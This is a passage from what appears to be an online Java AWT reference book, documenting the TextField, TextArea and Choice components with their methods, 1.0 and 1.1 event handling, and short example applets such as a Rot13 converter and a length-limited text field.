public void setEchoCharacter (char c) (Deprecated)

The setEchoChar() method changes the character that is displayed to the user to c for every character in the TextField. It is possible to change the echo character on the fly so that existing characters will be replaced. A c of zero, (char)0, effectively turns off any change and makes the TextField behave normally.

setEchoCharacter() is the Java 1.0 name for this method.

public boolean echoCharIsSet ()

The echoCharIsSet() method returns true if the echo character is set to a nonzero value. If the TextField is displaying input normally, this method returns false.

Miscellaneous methods

public synchronized void addNotify ()

The addNotify() method creates the TextField peer. If you override this method, first call super.addNotify(), then add your customizations for the new class. Then you will be able to do everything you need with the information about the newly created peer.

protected String paramString ()

When you call the toString() method of TextField, the default toString() method of Component is called. This in turn calls paramString(), which builds up the string to display. The TextField level can add only one item. If the echo character is nonzero, the current echo character is added (the method getEchoChar()). Using new TextField (`Empty String`, 20), the results displayed could be:

java.awt.TextField[0,0,0x0,invalid,text="Empty String",editable,selection=0-0]

TextField Events

With the 1.0 event model, TextField components can generate KEY_PRESS and KEY_ACTION (which calls keyDown()), KEY_RELEASE and KEY_ACTION_RELEASE (which calls keyUp()), and ACTION_EVENT (which calls action()).

With the 1.1 event model, you register an ActionListener with the method addActionListener(). Then when the user presses Return within the TextField the ActionListener.actionPerformed() method is called through the protected TextField.processActionEvent() method. Key, mouse, and focus listeners are registered through the three Component methods of addKeyListener(), addMouseListener(), and addFocusListener(), respectively. Action

public boolean action (Event e, Object o)

The action() method for a TextField is called when the input focus is in the TextField and the user presses the Return key. e is the Event instance for the specific event, while o is a String representing the current contents (the getText() method).

Keyboard

public boolean keyDown (Event e, int key)

The keyDown() method is called whenever the user presses a key. keyDown() may be called many times in succession if the key remains pressed. e is the Event instance for the specific event, while key is the integer representation of the character pressed. The identifier for the event (e.id) for keyDown() could be either Event.KEY_PRESS for a regular key or Event.KEY_ACTION for an action-oriented key (i.e., an arrow or function key). Some of the things you can do through this method are validate input, convert each character to uppercase, and limit the number or type of characters entered. The technique is simple: you just need to remember that the user's keystroke is actually displayed by the TextField peer, which receives the event after the TextField itself. Therefore, a TextField subclass can modify the character displayed by modifying the key field (e.key) of the Event and returning false, which passes the Event on down the chain; remember that returning false indicates that the Event has not been completely processed. The following method uses this technique to convert all input to uppercase.

public boolean keyDown (Event e, int key) {
    e.key = Character.toUppercase (char(key));
    return false;
}

If keyDown() returns true, it indicates that the Event has been completely processed. In this case, the Event never propagates to the peer, and the keystroke is never displayed.

public boolean keyUp (Event e, int key)

The keyUp() method is called whenever the user releases a key. e is the Event instance for the specific event, while key is the integer representation of the character pressed. The identifier for the event (e.id) for keyUp() could be either Event.KEY_RELEASE for a regular key or Event.KEY_ACTION_RELEASE for an action-oriented key (i.e., an arrow or function key). Among other things, keyUp() may be used to determine how long the key has been pressed.

Mouse

Ordinarily, the TextField component does not trigger any mouse events.

NOTE:

Mouse events are not generated for TextField with JDK 1.0.2. Your run-time environment may behave differently. See Appendix C for more information about platform dependencies.

Focus

The TextField component does not reliably generate focus events.

NOTE:

The GOT_FOCUS and LOST_FOCUS events can be generated by TextFields, but these events are not reliable across platforms. With Java 1.0, they are generated on most UNIX platforms but not on Windows NT/95 platforms. They are generated on all platforms under Java 1.1. See Appendix C for more information about platform dependencies.

public boolean gotFocus (Event e, Object o)

The gotFocus() method is triggered when the TextField gets the input focus. e is the Event instance for the specific event, while o is a String representation of the current contents (getText()).

public boolean lostFocus (Event e, Object o)

The lostFocus() method is triggered when the input focus leaves the TextField. e is the Event instance for the specific event, while o is a String representation of the current contents (getText()).

Listeners and 1.1 event handling

With the 1.1 event model, you register event listeners that are told when an event occurs. You can register text event listeners by calling the method TextComponent.addTextListener().

public void addActionListener(ActionListener listener) (New)

The addActionListener() method registers listener as an object interested in receiving notifications when an ActionEvent passes through the EventQueue with this TextField as its target. The listener.actionPerformed() method is called when these events occur. Multiple listeners can be registered. The following code demonstrates how to use an ActionListener to reverse the text in the TextField.

// Java 1.1 only
import java.applet.*;
import java.awt.*;
import java.awt.event.*;
class MyAL implements ActionListener {
    public void actionPerformed(ActionEvent e) {
        System.out.println ("The current text is: " +
            e.getActionCommand());
        if (e.getSource() instanceof TextField) {
            TextField tf = (TextField)e.getSource();
            StringBuffer sb = new StringBuffer (e.getActionCommand());
            tf.setText (sb.reverse().toString());
        }
    }
}
public class text11 extends Applet {
    public void init () {
        TextField tf = new TextField ("Help Text", 20);
        add (tf);
        tf.addActionListener (new MyAL());
   }
}

public void removeActionListener(ActionListener listener) (New)

The removeActionListener() method removes listener as a interested listener. If listener is not registered, nothing happens.

protected void processEvent(AWTEvent e) (New)

The processEvent() method receives all AWTEvents with this TextField as its target. processEvent() then passes them along to any listeners for processing. When you subclass TextField, overriding processEvent() allows you to process all events yourself, before sending them to any listeners. In a way, overriding processEvent() is like overriding handleEvent() using the 1.0 event model.

If you override processEvent(), remember to call super.processEvent(e) last to ensure that regular event processing can occur. If you want to process your own events, it's a good idea to call enableEvents() (inherited from Component) to ensure that events are delivered even in the absence of registered listeners.

protected void processActionEvent(ActionEvent e) (New)

The processActionEvent() method receives all ActionEvents with this TextField as its target. processActionEvent() then passes them along to any listeners for processing. When you subclass TextField, overriding the method processActionEvent() allows you to process all action events yourself, before sending them to any listeners. In a way, overriding processActionEvent() is like overriding action() using the 1.0 event model.

If you override the processActionEvent() method, remember to call super.processActionEvent(e) last to ensure that regular event processing can occur. If you want to process your own events, it's a good idea to call enableEvents() (inherited from Component) to ensure that events are delivered even in the absence of registered listeners.

The following applet is equivalent to the previous example, except that it overrides processActionEvent() to receive events, eliminating the need for an ActionListener. The constructor calls enableEvents() to make sure that events are delivered, even if no listeners are registered.

// Java 1.1 only
import java.applet.*;
import java.awt.*;
import java.awt.event.*;
class MyTextField extends TextField {
    public MyTextField (String s, int len) {
        super (s, len);
        enableEvents (AWTEvent.ACTION_EVENT_MASK);
    }
    protected void processActionEvent(ActionEvent e) {
        System.out.println ("The current text is: " +
            e.getActionCommand());
        TextField tf = (TextField)e.getSource();
        StringBuffer sb = new StringBuffer (e.getActionCommand());
        tf.setText (sb.reverse().toString());
        super.processActionEvent(e)
    }
}
public class text12 extends Applet {
   public void init () {
        TextField tf = new MyTextField ("Help Text", 20);
        add (tf);
   }
}

Previous | Home | Next
Text Component | Book Index | TextArea
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 8] 8.3 TextArea

Previous Chapter 8
Input Fields 		Next

8.3 TextArea

TextArea is the TextComponent for multiline input. Some constructors permit you to set the rows and columns of the TextArea on the screen. However, the LayoutManager may change your settings. As with TextField, the only way to limit the number of characters that a user can enter is to override the keyDown() method. The text in a TextArea appears left justified, and the justification is not customizable.

In Java 1.1, you can control the appearance of a TextArea scrollbar; earlier versions gave you no control over the scrollbars. When visible, the vertical scrollbar is on the right of the TextArea, and the horizontal scrollbar is on the bottom. You can remove either scrollbar with the help of several new TextArea constants; you can't move them to another side. When the horizontal scrollbar is not present, the text wraps automatically when the user reaches the right side of the TextArea. Prior to Java 1.1, there was no way to enable word wrap.

TextArea Variables

Constants

The constants for TextArea are new to Java 1.1; they allow you to control the visibility and word wrap policy of a TextArea scrollbar. There is no way to listen for the events when a user scrolls a TextArea.

public static final int SCROLLBARS_BOTH (New)

The SCROLLBARS_BOTH mode is the default for TextArea. It shows both scrollbars all the time and does no word wrap.

public static final int SCROLLBARS_HORIZONTAL_ONLY (New)

The SCROLLBARS_HORIZONTAL_ONLY mode displays a scrollbar along the bottom of the TextArea. When this scrollbar is present, word wrap is disabled.

public static final int SCROLLBARS_NONE (New)

The SCROLLBARS_NONE mode displays no scrollbars around the TextArea and enables word wrap. If the text is too long, the TextArea displays the lines surrounding the cursor. You can use the cursor to move up and down within the TextArea, but you cannot use a scrollbar to navigate. Because this mode has no horizontal scrollbar, word wrap is enabled.

public static final int SCROLLBARS_VERTICAL_ONLY (New)

The SCROLLBARS_VERTICAL_ONLY mode displays a scrollbar along the right edge of the TextArea. If the text is too long to display, you can scroll within the area. Because this mode has no horizontal scrollbar, word wrap is enabled.

TextArea Methods

Constructors

public TextArea ()

This constructor creates an empty TextArea with both scrollbars. The TextArea is 0 rows high and 0 columns wide. Depending upon the platform, the TextArea could be really small (and useless) or rather large. It is a good idea to use one of the other constructors to control the size of the TextArea.

public TextArea (int rows, int columns)

This constructor creates an empty TextArea with both scrollbars. The TextArea is rows high and columns wide.

public TextArea (String text)

This constructor creates a TextArea with an initial content of text and both scrollbars. The TextArea is 0 rows high and 0 columns wide. Depending upon the platform, the TextArea could be really small (and useless) or rather large. It is a good idea to use one of the other constructors to control the size of the TextArea.

public TextArea (String text, int rows, int columns)

This constructor creates a TextArea with an initial content of text. The TextArea is rows high and columns wide and has both scrollbars.

The following example uses the first four constructors. The results are shown in Figure 8.3. With the size-less constructors, notice that Windows 95 creates a rather large TextArea. UNIX systems create a much smaller area. Depending upon the LayoutManager, the TextAreas could be resized automatically.

import java.awt.TextArea;
public class textas extends java.applet.Applet {
    public void init () {
        add (new TextArea ());                     // A
        add (new TextArea (3, 10));                // B
        add (new TextArea ("Empty Area"));         // C
        add (new TextArea ("Empty Area", 3, 10));  // D
    }
}

Figure 8.3: TextArea constructor

[Graphic: Figure 8-3]

public TextArea (String text, int rows, int columns, int scrollbarPolicy) (New)

The final constructor creates a TextArea with an initial content of text. The TextArea is rows high and columns wide. The initial scrollbar display policy is designated by the scrollbarPolicy parameter and is one of the TextArea constants in the previous example. This constructor is the only way provided to change the scrollbar visibility; there is no setScrollbarVisibility() method. Figure 8.4 displays the different settings.

Figure 8.4: TextArea policies

[Graphic: Figure 8-4]

Setting text

The text-setting methods are usually called in response to an external event. When you handle the insertion position, you must translate it from the visual row and column to a one-dimensional position. It is easier to position the insertion point based upon the beginning, end, or current selection (getSelectionStart() and getSelectionEnd()).

public void insert (String string, int position) (New)
public void insertText (String string, int position) (Deprecated)

The insert() method inserts string at position into the TextArea. If position is beyond the end of the TextArea, string is appended to the end of the TextArea.

insertText() is the Java 1.0 name for this method.

public void append (String string) (New)
public void appendText (String string) (Deprecated)

The append() method inserts string at the end of the TextArea.

appendText() is the Java 1.0 name for this method.

public void replaceRange (String string, int startPosition, int endPosition) (New)
public void replaceText (String string, int startPosition, int endPosition) (Deprecated)

The replaceRange() method replaces the text in the current TextArea from startPosition to endPosition with string. If endPosition is before startPosition, it may or may not work as expected. (For instance, on a Windows 95 platform, it works fine when the TextArea is displayed on the screen. However, when the TextArea is not showing, unexpected results happen. Other platforms may vary.) If startPosition is 0 and endPosition is the length of the contents, this method functions the same as TextComponent.setText().

replaceText() is the Java 1.0 name for this method.

Sizing

public int getRows ()

The getRows() method returns the number of rows set by the constructor or a subsequent call to setRows(). This could be different from the displayed height of the TextArea.

public void setRows (int rows) (New)

The setRows() method changes the preferred number of rows to display for the TextField to rows. Because the current LayoutManager will do what it wants, the new setting may be ignored. If rows < 0, setRows() throws the run-time exception IllegalArgumentException.

public int getColumns ()

The getColumns() method returns the number of columns set by the constructor or a subsequent call to setColumns(). This could be different from the displayed width of the TextArea.

public void setColumns (int columns) (New)

The setColumns() method changes the preferred number of columns to display for the TextArea to columns. Because the current LayoutManager will do what it wants, the new setting may be ignored. If columns < 0, setColumns() throws the run-time exception IllegalArgumentException.

public Dimension getPreferredSize (int rows, int columns) (New)
public Dimension preferredSize (int rows, int columns) (Deprecated)

The getPreferredSize() method returns the Dimension (width and height) for the preferred size of the TextArea with a preferred height of rows and width of columns. The rows and columns specified may be different from the current settings.

preferredSize() is the Java 1.0 name for this method.

public Dimension getPreferredSize (int rows, int columns) (New)
public Dimension preferredSize () (Deprecated)

The getPreferredSize() method returns the Dimension (width and height) for the preferred size of the TextArea. Without the rows and columns parameters, this getPreferredSize() uses the constructor's number of rows and columns to calculate the TextArea's preferred size.

preferredSize() is the Java 1.0 name for this method.

public Dimension getMinimumSize (int rows, int columns) (New)
public Dimension minimumSize (int rows, int columns) (Deprecated)

The getMinimumSize() method returns the minimum Dimension (width and height) for the size of the TextArea with a height of rows and width of columns. The rows and columns specified may be different from the current settings.

minimumSize() is the Java 1.0 name for this method.

public Dimension getMinimumSize () (New)
public Dimension minimumSize () (Deprecated)

The getMinimumSize() method returns the minimum Dimension (width and height) for the size of the TextArea. Without the rows and columns parameters, this getMinimumSize() uses the current settings for rows and columns to calculate the TextArea's minimum size.

minimumSize() is the Java 1.0 name for this method.

Miscellaneous methods

public synchronized void addNotify ()

The addNotify() method creates the TextArea peer. If you override this method, call super.addNotify() first, then add your customizations for the new class. You will then be able to do everything you need with the information about the newly created peer.

public int getScrollbarVisibility() (New)

The getScrollbarVisibility() method retrieves the scrollbar visibility setting, which is set by the constructor. There is no setScollbarVisibility() method to change the setting. The return value is one of the TextArea constants: SCROLLBARS_BOTH, SCROLLBARS_HORIZONTAL_ONLY, SCROLLBARS_NONE, or SCROLLBARS_VERTICAL_ONLY.

protected String paramString ()

When you call the toString() method of TextArea, the default toString() method of Component is called. This in turn calls paramString(), which builds up the string to display. The TextArea level adds the number of rows and columns for the TextArea, and Java 1.1 adds the scrollbar visibility policy. Using new TextArea(`Empty Area`, 3, 10), the results displayed could be:

java.awt.TextArea[text0,0,0,0x0,invalid,text="Empty Area",
editable,selection=0-0, rows=3,columns=10, scrollbarVisibility=both]

TextArea Events

With the 1.0 event model, the TextArea component can generate KEY_PRESS and KEY_ACTION (which calls keyDown()) along with KEY_RELEASE and KEY_ACTION_RELEASE (which called keyUp()). There is no ACTION_EVENT generated for TextArea.

NOTE:

The GOT_FOCUS and LOST_FOCUS events can be generated by this component but not reliably across platforms. Currently, they are generated on most UNIX platforms but not on Microsoft Windows NT/95 under Java 1.0. These events are generated under Java 1.1.

Similarly, the mouse events are not generated with JDK 1.0.2. See Appendix C for more information about platform dependencies.

With the Java 1.1 event model, there are no listeners specific to TextArea. You can register key, mouse, and focus listeners through the Component methods of addKeyListener(), addMouseListener(), and addFocusListener(), respectively. To register listeners for text events, call TextComponent.addTextListener(). Action

The TextArea component has no way to trigger the action event, since carriage return is a valid character. You would need to put something like a Button on the screen to cause an action for a TextArea. The following Rot13 program demonstrates this technique. The user enters text in the TextArea and selects the Rotate Me button to rotate the text. If the user selects Rotate Me again, it rotates again, back to the original position. Without the button, there would be no way to trigger the event. Figure 8.5 shows this example in action.

import java.awt.*;
public class Rot13 extends Frame {
    TextArea ta;
    Component rotate, done;
    public Rot13 () {
        super ("Rot-13 Example");
        add ("North", new Label ("Enter Text to Rotate:"));
        ta = (TextArea)(add ("Center", new TextArea (5, 40)));
        Panel p = new Panel ();
        rotate = p.add (new Button ("Rotate Me"));
        done = p.add (new Button ("Done"));
        add ("South", p);
    }
    public static void main (String args[]) {
        Rot13 rot = new Rot13();
        rot.pack();
        rot.show();
    }
    public boolean handleEvent (Event e) {
        if (e.id == Event.WINDOW_DESTROY) {
            hide();
            dispose();
            System.exit (0);
            return true;
        }
        return super.handleEvent (e);
    }
    public boolean action (Event e, Object o) {
        if (e.target == rotate) {
            ta.setText (rot13Text (ta.getText()));
            return true;
        } else if (e.target == done) {
            hide();
            dispose();
            System.exit (0);
        }
        return false;
    }
    String rot13Text (String s) {
        int len = s.length();
        StringBuffer returnString = new StringBuffer (len);
        char c;
        for (int i=0;i<len;i++) {
            c = s.charAt (i);
            if (((c >= 'A') && (c <= 'M')) ||
                ((c >= 'a') && (c <= 'm')))
                c += 13;
            else if (((c >= 'N') && (c <= 'Z')) ||
                ((c >= 'n') && (c <= 'z')))
                c -= 13;
            returnString.append (c);
        }
        return returnString.toString();
    }
}

Figure 8.5: TextArea with activator button

[Graphic: Figure 8-5]

Keyboard

Ordinarily, the TextArea component generates all the key events.

public boolean keyDown (Event e, int key)

The keyDown() method is called whenever the user presses a key. keyDown() may be called many times in succession if the key remains pressed. e is the Event instance for the specific event, while key is the integer representation of the character pressed. The identifier for the event (e.id) for keyDown() could be either Event.KEY_PRESS for a regular key or Event.KEY_ACTION for an action-oriented key (i.e., an arrow or function key). Some of the things you can do through this method are validate input, convert each character to uppercase, and limit the number or type of characters entered. The technique is simple: you just need to remember that the user's keystroke is actually displayed by the TextArea peer, which receives the event after the TextArea itself. Therefore, a TextArea subclass can modify the character displayed by modifying the key field (e.key) of the Event and returning false, which passes the Event on down the chain; remember that returning false indicates that the Event has not been completely processed. The following method uses this technique to convert all alphabetic characters to the opposite case:

public boolean keyDown (Event e, int key) {
    if (Character.isUpperCase ((char)key)) {
        e.key = Character.toLowerCase ((char)key);
    } else if (Character.isLowerCase ((char)key)) {
        e.key = Character.toUpperCase ((char)key);
    }
    return false;
}

If keyDown() returns true, it indicates that the Event has been completely processed. In this case, the Event never propagates to the peer, and the keystroke is never displayed.

public boolean keyUp (Event e, int key)

The keyUp() method is called whenever the user releases a key. e is the Event instance for the specific event, while key is the integer representation of the character pressed. The identifier for the event (e.id) for keyUp() could be either Event.KEY_RELEASE for a regular key, or Event.KEY_ACTION_RELEASE for an action-oriented key (i.e., an arrow or function key).

Mouse

Ordinarily, the TextArea component does not trigger any mouse events.

NOTE:

Mouse events are not generated for TextArea with JDK 1.0.2. See Appendix C for more information about platform dependencies.

Focus

The TextArea component does not reliably generate focus events.

NOTE:

The GOT_FOCUS and LOST_FOCUS events can be generated by this component but not reliably across platforms. With the JDK, they are generated on most UNIX platforms but not on Microsoft Windows NT/95 under JDK 1.0. These events are generated with JDK 1.1. See Appendix C for more information about platform dependencies.

public boolean gotFocus (Event e, Object o)

The gotFocus() method is triggered when the TextArea gets the input focus. e is the Event instance for the specific event, while o is a String representation of the current contents (getText()).

public boolean lostFocus (Event e, Object o)

The lostFocus() method is triggered when the input focus leaves the TextArea. e is the Event instance for the specific event, while o is a String representation of the current contents (getText()).

Listeners and 1.1 event handling

There are no listeners specific to the TextArea class. You can register Key, mouse, and focus listeners through the Component methods of addKeyListener(), addMouseListener(), and addFocusListener(), respectively. Also, you register listeners for text events by calling TextComponent.addTextListener().

Previous | Home | Next
TextField | Book Index | Extending TextField
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 8] 8.4 Extending TextField

Previous Chapter 8
Input Fields 		Next

8.4 Extending TextField

To extend what you learned so far, Example 8.1 creates a sub-class of TextField that limits the number of characters a user can type into it. Other than the six constructors, all the work is in the keyDown() method. The entire class follows.

Example 8.1: The SizedTextField Class Limits the Number of Characters a User can Type

import java.awt.*;
public class SizedTextField extends TextField {
    private int size;  // size = 0 is unlimited
    public SizedTextField () {
        super ("");
        this.size = 0;
    }
    public SizedTextField (int columns) {
        super (columns);
        this.size = 0;
    }
    public SizedTextField (int columns, int size) {
        super (columns);
        this.size = Math.max (0, size);
    }
    public SizedTextField (String text) {
        super (text);
        this.size = 0;
    }
    public SizedTextField (String text, int columns) {
        super (text, columns);
        this.size = 0;
    }
    public SizedTextField (String text, int columns, int size) {
        super (text, columns);
        this.size = Math.max (0, size);
    }
    public boolean keyDown (Event e, int key) {
        if ((e.id == Event.KEY_PRESS) && (this.size > 0) &&
            (((TextField)(e.target)).getText ().length () >= this.size)) {
            // Check for backspace / delete / tab--let these pass through
            if ((key == 127) || (key == 8) || (key == 9)) {
                return false;
            }
            return true;
        }
        return false;
    }
    protected String paramString () {
        String str = super.paramString ();
        if (size != 0) {
            str += ",size=" + size;
        }
        return str;
    }
}

Most of the SizedTextField class consists of constructors; you really don't need to provide an equivalent to all the superclass's constructors, but it's not a bad idea. The keyDown() method looks at what the user types before it reaches the screen and acts accordingly. It checks the length of the TextField and compares it to the maximum length. It then does another check to see if the user typed a Backspace, Delete, or Tab, all of which we want to allow: if the field has gotten too long, we want to allow the user to shorten it. We also want to allow tab under all circumstances, so that focus traversal works properly. The rest of the logic is simple:

  • If the user typed Backspace, Delete, or Tab, return false to propagate the event.

  • If the field is too long, return true to prevent the event from reaching the peer. This effectively ignores the character.

Previous | Home | Next
TextArea | Book Index | Pick Me
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 9] Pick Me

Previous Chapter 9 Next

9. Pick Me

Contents:
Choice
Lists
Checkbox
CheckboxGroup
ItemSelectable

Three AWT components let you present a list of choices to users: Choice, List, and Checkbox. All three components implement the ItemSelectable interface ( Java1.1). These components are comparable to selection mechanisms in modern GUIs so most readers will be able to learn them easily, but I'll point out some special enhancements that they provide.

Choice and List are similar; both offer a list of choices for the user to select. Choice provides a pull-down list that offers one selection at a time, whereas List is a scrollable list that allows a user to make one or multiple selections. From a design standpoint, which you choose depends at least partially on screen real estate; if you want the user to select from a large group of alternatives, Choice requires the least space, List requires somewhat more, while Checkbox requires the most. Choice is the only component in this group that does not allow multiple selections. A List allows multiple or single selection; because each Checkbox is a separate component, checkboxes inherently allow multiple selection. In order to create a list of mutually exclusive checkboxes, in which only one box can be selected at a time (commonly known as radio buttons), you can put several checkboxes together into a CheckboxGroup, which is discussed at the end of this chapter.

9.1 Choice

The Choice component provides pop-up/pull-down lists. It is the equivalent of Motif's OptionMenu or Windows MFC's ComboBox. ( Java 1.1 departs from the MFC world.) With the Choice component, you can provide a short list of choices to the user, while taking up the space of a single item on the screen. When the component is selected, the complete list of available choices appears on the screen. After the user has selected an option, the list is removed from the screen and the selected item is displayed. Selecting any item automatically deselects the previous selection.

Component Methods

Constructors

public Choice ()

There is only one constructor for Choice. When you call it, a new instance of Choice is created. The component is initially empty, with no items to select. Once you add some items using addItem() (version 1.0) or add() (version 1.1) and display the Choice on the screen, it will look something like the leftmost component in Figure 9.1. The center component shows what a Choice looks like when it is selected, while the one on the right shows what a Choice looks like before any items have been added to it.

Figure 9.1: How Choices are displayed

[Graphic: Figure 9-1]

Items

public int getItemCount () (New)
public int countItems () (Deprecated)

The getItemCount() method returns the number of selectable items in the Choice object. In Figure 9.1, getItemCount() would return 6.

countItems() is the Java 1.0 name for this method.

public String getItem (int index)

The getItem() method returns the text for the item at position index in the Choice. If index is invalid--either index < 0 or index >= getItemCount()--the getItem() method throws the ArrayIndexOutOfBoundsException run-time exception.

public synchronized void add (String item) (New)
public synchronized void addItem (String item) (Deprecated)

add() adds item to the list of available choices. If item is already an option in the Choice, this method adds it again. If item is null, add() throws the run-time exception NullPointerException. The first item added to a Choice becomes the initial (default) selection.

addItem() is the Java 1.0 name for this method.

public synchronized void insert (String item, int index) (New)

insert() adds item to the list of available choices at position index. An index of 0 adds the item at the beginning. An index larger than the number of choices adds the item at the end. If item is null, insert() throws the run-time exception NullPointerException. If index is negative, insert() throws the run-time exception IllegalArgumentException.

public synchronized void remove (String item) (New)

remove() removes item from the list of available choices. If item is present in Choice multiple times, a call to remove() removes the first instance. If item is null, remove() throws the run-time exception NullPointerException. If item is not found in the Choice, remove() throws the IllegalArgumentException run-time exception.

public synchronized void remove (int position) (New)

remove() removes the item at position from the list of available choices. If position is invalid--either position < 0 or position >= getItemCount()--remove() throws the run-time exception ArrayIndexOutOfBoundsException.

public synchronized void removeAll () (New)

The removeAll() method removes every option from the Choice. This allows you to refresh the list from scratch, rather than creating a new Choice and repopulating it.

Selection

The Choice has one item selected at a time. Initially, it is the first item that was added to the Choice.

public String getSelectedItem ()

The getSelectedItem() method returns the currently selected item as a String. The text returned is the parameter used in the addItem() or add() call that put the option in the Choice. If Choice is empty, getSelectedItem() returns null.

public Object[] getSelectedObjects () (New)

The getSelectedObjects() method returns the currently selected item as an Object array, instead of a String. The array will either be a one-element array, or null if there are no items. This method is required by the ItemSelectable interface and allows you to use the same method to look at the items selected by a Choice, List, or Checkbox.

public int getSelectedIndex ()

The getSelectedIndex() method returns the position of the currently selected item. The Choice list uses zero-based indexing, so the position of the first item is zero. The position of the last item is the value of countItems()-1. If the list is empty, this method returns -1.

public synchronized void select (int position)

This version of the select() method makes the item at position the selected item in the Choice. If position is too big, select() throws the run-time exception IllegalArgumentException. If position is negative, nothing happens.

public void select (String string)

This version of select() makes the item with the label string the selected item. If string is in the Choice multiple times, this method selects the first. If string is not in the Choice, nothing happens.

Miscellaneous methods

public synchronized void addNotify ()

The addNotify() method creates the Choice's peer. If you override this method, call super.addNotify() first, then add your customizations for the new class. You will then be able to do everything you need with the information about the newly created peer.

protected String paramString ()

When you call the toString() method of a Choice, the default toString() method of Component gets called. This in turn calls paramString() which builds up the string to display. At the Choice level, paramString() appends the currently selected item (the result of getSelectedItem()) to the output. Using the first Choice instance in Figure 9.1, the results would be:

java.awt.Choice[139,5,92x27,current=Dialog]

Choice Events

The primary event for a Choice occurs when the user selects an item in the list. With the 1.0 event model, selecting an item generates an ACTION_EVENT, which triggers a call to the action() method. Once the Choice has the input focus, the user can change the selection by using the arrow or keyboard keys. The arrow keys scroll through the list of choices, triggering the KEY_ACTION, ACTION_EVENT, and KEY_ACTION_RELEASE event sequence, which in turn invokes the keyDown(), action(), and keyUp() methods, respectively. If the mouse is used to choose an item, no mouse events are triggered as you scroll over each item, and an ACTION_EVENT occurs only when a specific choice is selected.

With the 1.1 event model, you register ItemListener with addItemListener(). Then when the user selects the Choice, the ItemListener.itemStateChanged() method is called through the protected Choice.processItemEvent() method. Key, mouse, and focus listeners are registered through the Component methods of addKeyListener(), addMouseListener(), and addFocusListener(), respectively. Action

public boolean action (Event e, Object o)

The action() method for a choice signifies that the user selected an item. e is the Event instance for the specific event, while o is the String from the call to addItem() or add() that represents the current selection. Here's a trivial implementation of the method:

public boolean action (Event e, Object o) {
    if (e.target instanceof Choice) {
        System.out.println ("Choice is now set to " + o);
    }
    return false;
}
Keyboard

The keyboard events for a Choice can be generated once the Choice has the input focus. In addition to the KEY_ACTION and KEY_ACTION_RELEASE events you get with the arrow keys, an ACTION_EVENT is generated over each entry.

public boolean keyDown (Event e, int key)

The keyDown() method is called whenever the user presses a key and the Choice has the input focus. e is the Event instance for the specific event, while key is the integer representation of the character pressed. The identifier for the event (e.id) for keyDown() could be either Event.KEY_PRESS for a regular key or Event.KEY_ACTION for an action-oriented key (i.e., arrow or function key). If you check the current selection in this method through the method getSelectedItem() or getSelectedIndex(), you will be given the previously selected item because the Choice's selection has not changed yet. keyDown() is not called when the Choice is changed by using the mouse.

public boolean keyUp (Event e, int key)

The keyUp() method is called whenever the user releases a key. e is the Event instance for the specific event, while key is the integer representation of the character pressed. The identifier for the event (e.id) for keyUp() could be either KEY_RELEASE for a regular key or KEY_ACTION_RELEASE for an action oriented key (i.e., arrow or function key).

Mouse

Ordinarily, the Choice component does not trigger any mouse events. Focus

Ordinarily, the Choice component does not trigger any focus events. Listeners and 1.1 event handling

With the 1.1 event model, you register listeners for different event types; the listeners are told when the event happens. These methods register listeners, and let the Choice component inspect its own events.

public void addItemListener(ItemListener listener) (New)

The addItemListener() method registers listener as an object interested in being notified when an ItemEvent passes through the EventQueue with this Choice as its target. The listener.itemStateChanged() method is called when an event occurs. Multiple listeners can be registered.

public void removeItemListener(ItemListener listener) (New)

The removeItemListener() method removes listener as a interested listener. If listener is not registered, nothing happens.

protected void processEvent(AWTEvent e) (New)

The processEvent() method receives all AWTEvents with this Choice as its target. processEvent() then passes them along to any listeners for processing. When you subclass Choice, overriding processEvent() allows you to process all events yourself, before sending them to any listeners. In a way, overriding processEvent() is like overriding handleEvent() using the 1.0 event model.

If you override processEvent(), remember to call super.processEvent(e) last to ensure that regular event processing can occur. If you want to process your own events, it's a good idea to call enableEvents() (inherited from Component) to ensure that events are delivered even in the absence of registered listeners.

protected void processItemEvent(ItemEvent e) (New)

The processItemEvent() method receives all ItemEvents with this Choice as its target. processItemEvent() then passes them along to any listeners for processing. When you subclass Choice, overriding processItemEvent() allows you to process all events yourself, before sending them to any listeners. In a way, overriding processItemEvent() is like overriding handleEvent() using the 1.0 event model.

If you override processItemEvent(), remember to call the method super.processItemEvent(e) last to ensure that regular event processing can occur. If you want to process your own events, it's a good idea to call enableEvents() (inherited from Component) to ensure that events are delivered even in the absence of registered listeners.

The following simple applet below demonstrates how a component can receive its own events by overriding processItemEvent(), while still allowing other objects to register as listeners. MyChoice11 is a subclass of Choice that processes its own item events. choice11 is an applet that uses the MyChoice11 component and registers itself as a listener for item events.

// Java 1.1 only
import java.awt.*;
import java.applet.*;
import java.awt.event.*;
class MyChoice11 extends Choice {
    MyChoice11 () {
        super ();
        enableEvents (AWTEvent.ITEM_EVENT_MASK);
    }
    protected void processItemEvent(ItemEvent e) {
        ItemSelectable ie = e.getItemSelectable();
        System.out.println ("Item Selected: " + ie.getSelectedObjects()[0]);
        // If you do not call super.processItemEvent()
        // no listener will be notified
        super.processItemEvent (e);
    }
}
public class choice11 extends Applet implements ItemListener {
    Choice c;
    public void init () {
        String []fonts;
        fonts = Toolkit.getDefaultToolkit().getFontList();
        c = new MyChoice11();
        for (int i = 0; i < fonts.length; i++) {
            c.add (fonts[i]);
        }
        add (c);
        c.addItemListener (this);
   }
    public void itemStateChanged(ItemEvent e)  {
        ItemSelectable ie = e.getItemSelectable();
        System.out.println ("State Change: " + ie.getSelectedObjects()[0]);
    }
}

A few things are worth noticing. MyChoice11 calls enableEvents() in its constructor to make sure that item events are delivered, even if nobody registers as a listener: MyChoice11 needs to make sure that it receives events, even in the absence of listeners. Its processItemEvent() method ends by calling the superclass's processItemEvent() method, with the original item event. This call ensures that normal item event processing occurs; super.processItemEvent() is responsible for distributing the event to any registered listeners. The alternative would be to implement the whole registration and event distribution mechanism inside myChoice11, which is precisely what object-oriented programming is supposed to avoid, or being absolutely sure that you will only use MyChoice11 in situations in which there won't be any listeners, drastically limiting the usefulness of this class.

choice11 doesn't contain many surprises. It implements ItemListener, the listener interface for item events; provides the required itemStateChanged() method, which is called whenever an item event occurs; and calls MyChoice11's method addItemListener() to register as a listener for item events. (MyChoice11 inherits this method from the Choice class.)

Previous | Home | Next
Extending TextField | Book Index | Lists
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 9] 9.2 Lists

Previous Chapter 9
